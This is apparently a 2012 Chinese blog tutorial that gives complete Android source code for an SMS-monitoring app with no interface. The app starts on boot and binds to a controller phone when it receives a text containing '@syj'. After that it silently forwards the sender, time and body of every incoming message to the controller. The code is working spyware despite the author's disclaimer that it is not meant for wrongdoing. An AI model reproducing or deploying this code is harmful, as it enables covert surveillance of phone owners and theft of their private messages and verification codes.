短信监听软件
本案例是在android手机中运行,是一个没有界面的短信监听软件。主要是用BroadcastReceiver来接受短信广播,当接收到短信后就跳转到service中来转发短信。哈哈,不是用来干坏事的。这个案例用了个小协议,当用户安装好这个软件后,你先要用自己的手机发送内容@syj来绑定本手机。绑定好后会收到一个ok短信用来确定绑定成功。然后当其他人发短信给安装过软件的手机,你都会收到短信了。
主要功能:
能监听手机接收的所有短信
能监听手机的开机信息
能将开机信息发送到指定手机上
能将截获的每一条短信将其发件号码和内容转发到指定手机上
能通过接收特殊短信的方法设置接收短信的手机号码
该软件能开机自动运行
具体代码
第一步,编写AndroidMainFest.xml文件的内容
1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 package="com.tiantian.test"
4 android:versionCode="1"
5 android:versionName="1.0" >
6
7 <uses-sdk android:minSdkVersion="8" />
8
9 <application
10 android:icon="@drawable/ic_launcher"
11 android:label="@string/app_name" >
12 <receiver android:name=".SMSBroadcastReceiver">
13 <intent-filter >
14 <action android:name="android.intent.action.MAIN" />
15 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
16 <action android:name="android.intent.action.BOOT_COMPLETED"/>
17 </intent-filter>
18 </receiver>
19 <service android:name=".SMSService"></service>
20 </application>
21 <uses-permission android:name="android.permission.SEND_SMS"/>
22 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
23 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
24 </manifest>
第二步:编写SMSBroadcastReceiver.java,主要是监听到短信后或系统开机后启动SMSservice.java文件
1 import android.content.BroadcastReceiver;
2 import android.content.Context;
3 import android.content.Intent;
4 import android.util.Log;
5
6 public class SMSBroadcastReceiver extends BroadcastReceiver{
7 public void onReceive(Context context, Intent intent) {
8 Log.v("Cat", "I'm in BroadcastReceiver");
9 intent.setClass(context, SMSService.class);
10 context.startService(intent);
11 }
12 }
第三步:编写SMSService.java文件,具体代码如下;
1 import java.sql.Date;
2 import java.text.SimpleDateFormat;
3 import android.app.Service;
4 import android.content.Intent;
5 import android.content.SharedPreferences;
6 import android.content.SharedPreferences.Editor;
7 import android.os.IBinder;
8 import android.telephony.SmsManager;
9 import android.telephony.SmsMessage;
10 import android.util.Log;
11
12 public class SMSService extends Service{
13 private SharedPreferences prefs;
14 private Editor editor;
15
16 public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
17 public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED";
18 @Override
19 public IBinder onBind(Intent arg0) {
20 // TODO Auto-generated method stub
21 return null;
22 }
23
24 @Override
25 public void onCreate() {
26 // TODO Auto-generated method stub
27 super.onCreate();
28 prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE);
29 editor = prefs.edit();
30
31 }
32
33 @Override
34 public void onDestroy() {
35 // TODO Auto-generated method stub
36 super.onDestroy();
37 }
38
39 @Override
40 public int onStartCommand(Intent intent, int flags, int startId) {
41 // TODO Auto-generated method stub
42 Log.v("Cat", "I'm in Service");
43 Log.v("Cat", "Action--->" + intent.getAction());
44 if(intent.getAction().equals(SMS_RECEIVED)){
45 Object[] pdus = (Object[])intent.getExtras().get("pdus");
46 if(pdus != null && pdus.length != 0){
47 SmsMessage[] messages = new SmsMessage[pdus.length];
48 for(int i=0;i<pdus.length;i++){
49 byte[] pdu = (byte[])pdus[i];
50 messages[i] = SmsMessage.createFromPdu(pdu);
51 }
52 for(SmsMessage message : messages){
53 String messageBody = message.getMessageBody();
54 String sender = message.getOriginatingAddress();
55 Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender);
56 if(messageBody.contains("@syj")){
57 editor.putString("_sendTo", sender);
58 editor.commit();
59 SmsManager smsManger = SmsManager.getDefault();
60 smsManger.sendTextMessage(sender, null, "ok!", null, null);
61 }else{
62 if(prefs != null){
63 Date date = new Date(message.getTimestampMillis());
64 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
65 String sendContent = "date:" + format.format(date) + "\n"
66 + "sender:" + sender + "\n" + "messageBody:" + messageBody;
67 String sendTo = prefs.getString("_sendTo", "发送失败");
68 SmsManager smsManger = SmsManager.getDefault();
69 smsManger.sendTextMessage(sendTo, null, sendContent, null, null);
70 }
71 }
72
73 }
74
75 }
76 }
77
78
79 return super.onStartCommand(intent, flags, startId);
80 }
81
82
83
84 }
Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
posted on 2012-03-07 18:46 forrest001 阅读(2247) 评论(2) 编辑 收藏 举报